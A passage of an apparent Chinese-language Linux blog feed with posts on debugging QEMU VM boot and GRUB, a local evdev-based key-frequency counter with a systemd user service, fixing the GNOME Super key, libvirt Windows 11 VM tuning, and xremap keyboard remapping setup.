&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-system-x86_64 --enable-kvm -smp 2 -m 4096  -hda vm-7044.qcow2 -snapshot -serial stdio
modprobe nbd
sudo modprobe nbd max_part=8
lsblk
qemu-nbd --help
qemu-nbd -c &amp;#x2F;dev&amp;#x2F;nbd0 vm-7044.qcow2
mkdir vm-7044 &amp;amp;&amp;amp; cd vm-7044&amp;#x2F;
mkdir part{1,5}
mount &amp;#x2F;dev&amp;#x2F;nbd0p1 part1&amp;#x2F;
mount &amp;#x2F;dev&amp;#x2F;nbd0p5 part5
cd part5&amp;#x2F;boot&amp;#x2F;
file initrd.img
mkdir initrd &amp;amp;&amp;amp; cd initrd&amp;#x2F;
cpio -idmv &amp;lt; ..&amp;#x2F;initrd.img-5.15.0-139-generic
qemu-system-x86_64 -smp 2 -m 4096 -kernel vmlinuz-5.15.0-139-generic -initrd initrd.img-5.15.0-139-generic  -append &amp;quot;console=ttyS0&amp;quot;
cp initrd.img ..&amp;#x2F;..&amp;#x2F;
cp vmlinuz ..&amp;#x2F;..&amp;#x2F;
umount part1
umount part5
qemu-nbd -d &amp;#x2F;dev&amp;#x2F;nbd0
qemu-system-x86_64 --enable-kvm -smp 2 -m 4096 -kernel vmlinuz -initrd initrd.img  -append &amp;quot;console=ttyS0&amp;quot;
qemu-system-x86_64 --enable-kvm -smp 2 -m 4096  -hda ..&amp;#x2F;vm-7044.qcow2
qemu-system-x86_64 --enable-kvm -smp 2 -m 4096 -kernel vmlinuz -initrd initrd.img  -append &amp;quot;console=ttyS0&amp;quot; -hda ..&amp;#x2F;vm-7044.qcow2
qemu-system-x86_64 --enable-kvm -smp 2 -m 4096 -kernel vmlinuz -initrd initrd.img  -append &amp;quot;console=ttyS0 root=&amp;#x2F;dev&amp;#x2F;sda5&amp;quot; -hda ..&amp;#x2F;vm-7044.qcow2

# 最后发现qcow2中的文件系统缺少&amp;#x2F;dev 和 &amp;#x2F;sys 两个目录（导致init启动时没有devfs&amp;#x2F;tmpfs的挂载点）
qemu-system-x86_64 --enable-kvm -smp 2 -m 4096 -hda vm-7044.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qemuxu-ni-ji-qi-dong-hou-ru-he-qie-huan-tty&quot;&gt;qemu虚拟机启动后如何切换tty&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;tty1中的启动程序没有完全成功，导致卡死在启动过程，且没有shell供用户输入&lt;&#x2F;li&gt;
&lt;li&gt;qemu GUI中使用monitor0, 可以发送命令,切换其他tty登录&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;(qemu) sendkey ctrl+alt+f3

# 登录系统后， 修改grub
sudo nano &amp;#x2F;etc&amp;#x2F;defautl&amp;#x2F;grub
# 注释掉hide和选项
# GRUB_TIMEOUT_STYLE=hide
GRUB_CMDLINE_LINUX_DEFAULT=&amp;#x27;loglevel=7&amp;#x27;
GRUB_CMDLINE_LINUX=&amp;quot;console=tty0 console=ttyS0,115200n8 earlyprintk=ttyS0,115200 systemd.show_status=1&amp;quot;

sudo update-grub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;grub-shellchang-yong-ming-ling&quot;&gt;grub shell常用命令&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;ls	列出设备、分区或目录内容	ls, ls (hd0,1)&#x2F;boot&lt;&#x2F;li&gt;
&lt;li&gt;set	查看或设置环境变量	set root=(hd0,gpt2)&lt;&#x2F;li&gt;
&lt;li&gt;linux	加载内核文件	linux &#x2F;vmlinuz root=&#x2F;dev&#x2F;sda5&lt;&#x2F;li&gt;
&lt;li&gt;initrd	加载初始化 RAM 磁盘	initrd &#x2F;initrd.img&lt;&#x2F;li&gt;
&lt;li&gt;boot	启动已经加载好的内核	boot&lt;&#x2F;li&gt;
&lt;li&gt;insmod	加载动态模块（如 normal, ext2）	insmod normal&lt;&#x2F;li&gt;
&lt;li&gt;cat	查看文件内容（常用于检查 grub.cfg）	cat (hd0,1)&#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grub&amp;gt; configfile (hd0,msdos1)&amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
# 或尝试使用 search 命令自动查找
grub&amp;gt; search --file --set=root &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
grub&amp;gt; configfile &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg

grub&amp;gt; ls (hd0,msdos5)&amp;#x2F;
# 如果显示了 vmlinuz, initrd.img 等文件，说明找对了

# 第二步：设置根分区
# 查看当前 root &amp;#x2F; prefix
grub&amp;gt; set
grub&amp;gt; set root=(hd0,msdos5)
grub&amp;gt; insmod normal
grub&amp;gt; insmod linux
grub&amp;gt; insmod ext2     # ext2&amp;#x2F;ext4 都是这个

# 第三步：加载内核 (关键步骤)
# 你需要指定内核文件，并手动告诉它根目录在哪里。在这里加上 nomodeset 来解决你之前的卡死问题。
# 注意：利用 Tab 键补全文件名，因为内核版本号很长
grub&amp;gt; linux &amp;#x2F;boot&amp;#x2F;vmlinuz-xxx-generic root=&amp;#x2F;dev&amp;#x2F;sda5 nomodeset

# 第四步：加载 initrd
grub&amp;gt; initrd &amp;#x2F;boot&amp;#x2F;initrd.img-xxx-generic
grub&amp;gt; boot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 键盘按键频率统计</title>
        <published>2026-01-05T12:05:46+08:00</published>
        <updated>2026-01-05T12:05:46+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/01/linux 键盘按键频率统计/"/>
        <id>https://vercel.juzhong.asia/2026/01/linux 键盘按键频率统计/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/01/linux 键盘按键频率统计/">&lt;h1 id=&quot;an-jian-pin-lu-key-frequency&quot;&gt;按键频率（key frequency）&lt;&#x2F;h1&gt;
&lt;p&gt;统计 Linux 下自己实际敲击的 按键频率（key frequency），从而为 键盘布局优化（如重映射高频键到更符合人体工学的位置）提供数据支持&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-yong-de-jian-kong-an-jian-de-gong-ju&quot;&gt;常用的监控按键的工具&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;wev(wayland)
&lt;ul&gt;
&lt;li&gt;通过wayland(libinput)读取eventX(evdev)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;libinput list-devices
&lt;ul&gt;
&lt;li&gt;apt install libinput-tools&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;xev(x11)
&lt;ul&gt;
&lt;li&gt;通过x11(xkb)读取eventX&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;xinput(x11)&lt;&#x2F;li&gt;
&lt;li&gt;evtest
&lt;ul&gt;
&lt;li&gt;apt install evtest&lt;&#x2F;li&gt;
&lt;li&gt;直接读取eventX&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;showkey
&lt;ul&gt;
&lt;li&gt;通过内核tty系统读物eventX&lt;&#x2F;li&gt;
&lt;li&gt;只能在 VT（Ctrl+Alt+Fx）&lt;&#x2F;li&gt;
&lt;li&gt;看的是 内核 tty keycode &#x2F; scancode&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;uinput
&lt;ul&gt;
&lt;li&gt;创建虚拟输入设备&#x2F;dev&#x2F;intput&#x2F;eventY&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;dev&#x2F;uinput（虚拟设备注入点）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;dev&#x2F;input&#x2F;eventX
&lt;ul&gt;
&lt;li&gt;内核输入子系统 (evdev)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;键盘映射系统级修改：修改内核键码映射（setkeycodes）或控制台映射（loadkeys）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;shi-yong-evtest-zi-ding-yi-jiao-ben-tui-jian-an-quan-di-ceng-bu-yi-lai-gui&quot;&gt;使用 evtest + 自定义脚本（推荐，安全、底层、不依赖 GUI）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;所有数据仅保存在 ~&#x2F;.local&#x2F;share&#x2F;keyfreq&#x2F;，不记录键值内容（如不区分 a&#x2F;A，只记录 KEY_A）。&lt;&#x2F;li&gt;
&lt;li&gt;无法恢复原始文本，仅统计物理按键频率，不构成键盘记录器（keylogger）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install evtest  # Debian&amp;#x2F;Ubuntu
sudo evtest

sudo apt install python3-pip
sudo usermod -aG input $USER
# 重新登录使组生效
pip3 install --user evdev
# 目录结构
# ~&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;keyfreqd
# ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;keyfreqd.service
# ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;keyfreq&amp;#x2F;  # 日志目录
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;env python3
import sys
import struct
import os
from collections import Counter

# 从 evtest 或 &amp;#x2F;usr&amp;#x2F;include&amp;#x2F;linux&amp;#x2F;input-event-codes.h 获取 keycode 映射
KEY_NAMES = {
    1: &amp;#x27;ESC&amp;#x27;, 2: &amp;#x27;1&amp;#x27;, 3: &amp;#x27;2&amp;#x27;, 4: &amp;#x27;3&amp;#x27;, 5: &amp;#x27;4&amp;#x27;, 6: &amp;#x27;5&amp;#x27;, 7: &amp;#x27;6&amp;#x27;, 8: &amp;#x27;7&amp;#x27;, 9: &amp;#x27;8&amp;#x27;, 10: &amp;#x27;9&amp;#x27;, 11: &amp;#x27;0&amp;#x27;,
    12: &amp;#x27;MINUS&amp;#x27;, 13: &amp;#x27;EQUAL&amp;#x27;, 14: &amp;#x27;BACKSPACE&amp;#x27;,
    15: &amp;#x27;TAB&amp;#x27;, 16: &amp;#x27;Q&amp;#x27;, 17: &amp;#x27;W&amp;#x27;, 18: &amp;#x27;E&amp;#x27;, 19: &amp;#x27;R&amp;#x27;, 20: &amp;#x27;T&amp;#x27;, 21: &amp;#x27;Y&amp;#x27;, 22: &amp;#x27;U&amp;#x27;, 23: &amp;#x27;I&amp;#x27;, 24: &amp;#x27;O&amp;#x27;, 25: &amp;#x27;P&amp;#x27;,
    26: &amp;#x27;LEFTBRACE&amp;#x27;, 27: &amp;#x27;RIGHTBRACE&amp;#x27;, 28: &amp;#x27;ENTER&amp;#x27;,
    29: &amp;#x27;LEFTCTRL&amp;#x27;, 30: &amp;#x27;A&amp;#x27;, 31: &amp;#x27;S&amp;#x27;, 32: &amp;#x27;D&amp;#x27;, 33: &amp;#x27;F&amp;#x27;, 34: &amp;#x27;G&amp;#x27;, 35: &amp;#x27;H&amp;#x27;, 36: &amp;#x27;J&amp;#x27;, 37: &amp;#x27;K&amp;#x27;, 38: &amp;#x27;L&amp;#x27;,
    39: &amp;#x27;SEMICOLON&amp;#x27;, 40: &amp;#x27;APOSTROPHE&amp;#x27;, 41: &amp;#x27;GRAVE&amp;#x27;,
    42: &amp;#x27;LEFTSHIFT&amp;#x27;, 43: &amp;#x27;BACKSLASH&amp;#x27;, 44: &amp;#x27;Z&amp;#x27;, 45: &amp;#x27;X&amp;#x27;, 46: &amp;#x27;C&amp;#x27;, 47: &amp;#x27;V&amp;#x27;, 48: &amp;#x27;B&amp;#x27;, 49: &amp;#x27;N&amp;#x27;, 50: &amp;#x27;M&amp;#x27;,
    51: &amp;#x27;COMMA&amp;#x27;, 52: &amp;#x27;DOT&amp;#x27;, 53: &amp;#x27;SLASH&amp;#x27;, 54: &amp;#x27;RIGHTSHIFT&amp;#x27;,
    56: &amp;#x27;LEFTALT&amp;#x27;, 57: &amp;#x27;SPACE&amp;#x27;, 58: &amp;#x27;CAPSLOCK&amp;#x27;,
    97: &amp;#x27;RIGHTCTRL&amp;#x27;, 100: &amp;#x27;RIGHTALT&amp;#x27;,
    # 方向键等
    103: &amp;#x27;UP&amp;#x27;, 105: &amp;#x27;LEFT&amp;#x27;, 106: &amp;#x27;RIGHT&amp;#x27;, 108: &amp;#x27;DOWN&amp;#x27;,
}

def main(device_path):
    counter = Counter()
    with open(device_path, &amp;#x27;rb&amp;#x27;) as f:
        while True:
            data = f.read(24)  # input_event 结构体大小
            if not data:
                break
            tv_sec, tv_usec, type_, code, value = struct.unpack(&amp;#x27;llHHi&amp;#x27;, data)
            if type_ == 1 and value == 1:  # EV_KEY 且按下（非释放）
                key_name = KEY_NAMES.get(code, f&amp;#x27;KEY_{code}&amp;#x27;)
                counter[key_name] += 1
                print(f&amp;quot;\r{len(counter)} keys recorded...&amp;quot;, end=&amp;#x27;&amp;#x27;, flush=True)
    return counter

if __name__ == &amp;#x27;__main__&amp;#x27;:
    if len(sys.argv) != 2:
        print(&amp;quot;Usage: sudo python3 keyfreq.py &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;eventX&amp;quot;)
        sys.exit(1)
    device = sys.argv[1]
    print(f&amp;quot;Recording key presses from {device} (Press Ctrl+C to stop)...&amp;quot;)
    try:
        counter = main(device)
    except KeyboardInterrupt:
        print(&amp;quot;\nStopped.&amp;quot;)
    # 输出排序结果
    print(&amp;quot;\n=== Key Frequency ===&amp;quot;)
    for key, count in counter.most_common():
        print(f&amp;quot;{key:12} : {count}&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;env python3
# ~&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;keyfreqd

import os
import json
import time
from datetime import datetime, date
from collections import defaultdict
from pathlib import Path

from evdev import InputDevice, categorize, ecodes, list_devices

# 配置
LOG_DIR = Path.home() &amp;#x2F; &amp;quot;.local&amp;#x2F;share&amp;#x2F;keyfreq&amp;quot;
LOG_DIR.mkdir(parents=True, exist_ok=True)

# 过滤出键盘设备（基于名称或 capability）
def is_keyboard(dev):
    if not dev.capabilities().get(ecodes.EV_KEY):
        return False
    name = dev.name.lower()
    # 常见键盘关键词
    keywords = [&amp;#x27;keyboard&amp;#x27;, &amp;#x27;keypad&amp;#x27;, &amp;#x27;at keyboard&amp;#x27;, &amp;#x27;input device&amp;#x27;]
    return any(kw in name for kw in keywords) or &amp;#x27;kbd&amp;#x27; in name

def main():
    # 获取所有输入设备
    devices = [InputDevice(fn) for fn in list_devices()]
    keyboards = [dev for dev in devices if is_keyboard(dev)]

    if not keyboards:
        print(&amp;quot;No keyboard devices found. Check permissions (add user to &amp;#x27;input&amp;#x27; group).&amp;quot;, file=os.sys.stderr)
        return

    print(f&amp;quot;Monitoring {len(keyboards)} keyboard(s): {[d.name for d in keyboards]}&amp;quot;)

    # 当天的计数器
    today = date.today()
    counter = defaultdict(int)

    try:
        while True:
            # 检查日期是否变更
            new_day = date.today()
            if new_day != today:
                # 保存旧数据
                save_day_log(today, counter)
                # 重置
                today = new_day
                counter = defaultdict(int)

            # 读取事件（非阻塞轮询）
            for dev in keyboards:
                try:
                    for event in dev.read():
                        if event.type == ecodes.EV_KEY:
                            key_event = categorize(event)
                            if hasattr(key_event, &amp;#x27;keycode&amp;#x27;):
                                # 只记录按下（避免重复计数）
                                if event.value == 1:  # key press
                                    counter[key_event.keycode] += 1
                except BlockingIOError:
                    continue  # 无事件可读
                except OSError as e:
                    if e.errno == 19:  # 设备被拔出
                        keyboards = [d for d in keyboards if d != dev]
                        print(f&amp;quot;Device removed: {dev.name}&amp;quot;, file=os.sys.stderr)
                    else:
                        raise

            time.sleep(0.01)  # 减少 CPU 占用

    except KeyboardInterrupt:
        save_day_log(today, counter)
        print(&amp;quot;\nExiting and saving final log.&amp;quot;)

def save_day_log(day: date, counter: dict):
    if not counter:
        return
    log_file = LOG_DIR &amp;#x2F; f&amp;quot;{day.isoformat()}.json&amp;quot;
    # 合并已有数据（以防重复运行）
    if log_file.exists():
        with open(log_file, &amp;#x27;r&amp;#x27;) as f:
            existing = json.load(f)
        for k, v in counter.items():
            existing[k] = existing.get(k, 0) + v
        counter = existing
    with open(log_file, &amp;#x27;w&amp;#x27;) as f:
        json.dump(dict(counter), f, indent=2, sort_keys=True)
    print(f&amp;quot;Saved {sum(counter.values())} keystrokes to {log_file}&amp;quot;)

if __name__ == &amp;quot;__main__&amp;quot;:
    main()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;systemd 用户服务&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;keyfreqd.service
systemctl --user daemon-reload
systemctl --user enable --now keyfreqd.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;服务配置&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Unit]
Description=Keyboard Key Frequency Logger
After=graphical-session.target

[Service]
ExecStart=%h&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;keyfreqd
Restart=always
RestartSec=5
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fen-xi-jiao-ben&quot;&gt;分析脚本&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;env python3
# ~&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;keyfreq-analyze

import json
import sys
from pathlib import Path
from collections import defaultdict

LOG_DIR = Path.home() &amp;#x2F; &amp;quot;.local&amp;#x2F;share&amp;#x2F;keyfreq&amp;quot;

def main(days=7):
    total = defaultdict(int)
    count = 0
    for log in sorted(LOG_DIR.glob(&amp;quot;*.json&amp;quot;))[-days:]:
        with open(log) as f:
            data = json.load(f)
            for k, v in data.items():
                total[k] += v
        count += 1

    if not total:
        print(&amp;quot;No data found.&amp;quot;)
        return

    print(f&amp;quot;Top 30 keys in last {count} day(s):&amp;quot;)
    print(&amp;quot;-&amp;quot; * 40)
    for key, freq in sorted(total.items(), key=lambda x: -x[1])[:30]:
        print(f&amp;quot;{key:15} : {freq:&amp;gt;8}&amp;quot;)

if __name__ == &amp;quot;__main__&amp;quot;:
    days = int(sys.argv[1]) if len(sys.argv) &amp;gt; 1 else 7
    main(days)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Super(Win)键失效无法开启gnome搜索功能</title>
        <published>2026-01-01T23:08:03+08:00</published>
        <updated>2026-01-01T23:08:03+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/01/Super(Win)键失效无法开启gnome搜索功能/"/>
        <id>https://vercel.juzhong.asia/2026/01/Super(Win)键失效无法开启gnome搜索功能/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/01/Super(Win)键失效无法开启gnome搜索功能/">&lt;h1 id=&quot;zhuo-mian-huan-jing-huo-chuang-kou-guan-li-qi-wei-zheng-que-pei-zhi-super-jian-xing-wei&quot;&gt;桌面环境或窗口管理器未正确配置 Super 键行为&lt;&#x2F;h1&gt;
&lt;p&gt;Super 键默认绑定到“显示活动概览”（Activities Overview），其中包含搜索框。
若该绑定被修改、禁用，或 GNOME Shell 未完全加载，Super 键可能无响应。
可通过以下命令检查绑定：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings get org.gnome.mutter overlay-key
gsettings reset org.gnome.mutter overlay-key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shu-ru-fa-huo-jian-pan-bu-ju-gan-rao&quot;&gt;输入法或键盘布局干扰&lt;&#x2F;h2&gt;
&lt;p&gt;某些输入法框架（如 fcitx5、ibus）在特定状态下会“捕获”Super 键。
某些非标准键盘布局（如自定义 xkb 配置）可能重映射了 Super 键。
可通过以下命令临时测试原始键码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo $XDG_SESSION_TYPE
xev  # 在 X11 下
xev | grep -A2 -B2 keycode
# 或
sudo evtest  # 在 Wayland 下（需 root）
sudo apt install wev
wev
# 在 TTY 中用 
showkey -s # 再次验证
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;按下 Super 键，观察是否输出 Super_L 或 Super_R。如果没有，说明系统未识别该键。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>libvirt 优化windows11虚拟机配置</title>
        <published>2025-12-30T11:45:03+08:00</published>
        <updated>2025-12-30T11:45:03+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/libvirt 优化windows11虚拟机配置/"/>
        <id>https://vercel.juzhong.asia/2025/12/libvirt 优化windows11虚拟机配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/libvirt 优化windows11虚拟机配置/">&lt;h1 id=&quot;xu-ni-ji-you-hua&quot;&gt;虚拟机优化&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;使用spice协议, 优化本地访问&lt;&#x2F;li&gt;
&lt;li&gt;配置ballooning, 优化内存使用
&lt;ul&gt;
&lt;li&gt;https:&#x2F;&#x2F;fedorapeople.org&#x2F;groups&#x2F;virt&#x2F;virtio-win&#x2F;direct-downloads&#x2F;stable-virtio&#x2F;virtio-win.iso&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;安装 SPICE Guest Tools, 优化鼠标
&lt;ul&gt;
&lt;li&gt;spice-vdagent：实现鼠标无缝、剪贴板共享、分辨率自动调整&lt;&#x2F;li&gt;
&lt;li&gt;自动禁用 Guest 内鼠标指针（避免双鼠标）&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;www.spice-space.org&#x2F;download.html?spm=a2ty_o01.29997173.0.0.54145171JWAMq5&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 键盘映射xremap</title>
        <published>2025-12-25T17:17:27+08:00</published>
        <updated>2026-08-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/linux 键盘映射xremap/"/>
        <id>https://vercel.juzhong.asia/2025/12/linux 键盘映射xremap/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/linux 键盘映射xremap/">&lt;h1 id=&quot;xremap&quot;&gt;xremap&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;xremap is a key remapper for Linux. Unlike xmodmap, it supports app-specific remapping and Wayland.&lt;&#x2F;li&gt;
&lt;li&gt;xremap 和 evdev 都是 Linux 下的键盘重映射工具，主要区别在于 xremap 专注于应用层，提供更灵活的组合键和上下文感知（如窗口特定、虚拟修饰键）功能，而 evdev（底层驱动）则更侧重硬件&#x2F;驱动层面的低级事件捕获与重映射，xremap 可以基于 evdev 实现高级功能，两者常结合使用，xremap 更易用，evdev 性能更低延迟。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cargo install xremap --features gnome   # GNOME Wayland
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cha-kan-dang-qian-uinput-she-bei-xu-yao-root&quot;&gt;查看当前 uinput 设备（需要 root）&lt;&#x2F;h2&gt;
&lt;p&gt;xremap 使用 &#x2F;dev&#x2F;uinput 创建虚拟输入设备。异常退出可能导致设备未释放。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;misc&amp;#x2F;uinput&amp;#x2F;dev

# 查看 uinput 使用者（粗略判断是否被占用）
lsof &amp;#x2F;dev&amp;#x2F;uinput
# 或
fuser &amp;#x2F;dev&amp;#x2F;uinput
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;running-xremap-without-sudo&quot;&gt;Running xremap without sudo&lt;&#x2F;h2&gt;
&lt;p&gt;To do so, your normal user should be able to use evdev and uinput without sudo. In Ubuntu, this can be configured by running the following commands and rebooting your machine.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo gpasswd -a YOUR_USER input
echo &amp;#x27;KERNEL==&amp;quot;uinput&amp;quot;, GROUP=&amp;quot;input&amp;quot;, TAG+=&amp;quot;uaccess&amp;quot;&amp;#x27; | sudo tee &amp;#x2F;etc&amp;#x2F;udev&amp;#x2F;rules.d&amp;#x2F;input.rules

lsmod | grep uinput
# If it shows up empty:
echo uinput | sudo tee &amp;#x2F;etc&amp;#x2F;modules-load.d&amp;#x2F;uinput.conf

Reboot the machine afterwards or try:

sudo modprobe uinput
sudo udevadm control --reload-rules &amp;amp;&amp;amp; sudo udevadm trigger
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;an-zhuang-wei-systemd-yong-hu-fu-wu-bu-yong-xi-tong-fu-wu&quot;&gt;安装为 systemd 用户服务（不用系统服务）&lt;&#x2F;h2&gt;
&lt;p&gt;xremap（gnome 特性）走 DBus 与 GNOME Shell 扩展通信，随图形会话启动即可，&lt;strong&gt;用户级服务&lt;&#x2F;strong&gt;更合适（无需 root、能拿到会话环境）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir -p ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user
cat &amp;gt; ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;my_keymap.service &amp;lt;&amp;lt;EOF
[Unit]
Description=Config my keymap

[Service]
Type=simple
ExecStart=&amp;#x2F;home&amp;#x2F;$USER&amp;#x2F;.cargo&amp;#x2F;bin&amp;#x2F;xremap &amp;#x2F;path&amp;#x2F;to&amp;#x2F;keymap.yml
Restart=on-failure
RestartSec=5

[Install]
WantedBy=default.target
EOF
systemctl --user enable --now my_keymap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：用户服务由登录时启动的用户 systemd 管理器 fork，继承的是&lt;strong&gt;管理器的组&lt;&#x2F;strong&gt;。所以先 &lt;code&gt;usermod -aG input $USER&lt;&#x2F;code&gt; 然后必须&lt;strong&gt;重新登录&lt;&#x2F;strong&gt;，新组才会被用户管理器继承，服务才能读 &lt;code&gt;&#x2F;dev&#x2F;input&lt;&#x2F;code&gt;。可执行 &lt;code&gt;awk &#x27;&#x2F;Groups&#x2F;&#x27; &#x2F;proc&#x2F;$(pgrep -u $USER -f &#x27;systemd --user&#x27; | head -1)&#x2F;status&lt;&#x2F;code&gt; 确认。&lt;&#x2F;p&gt;
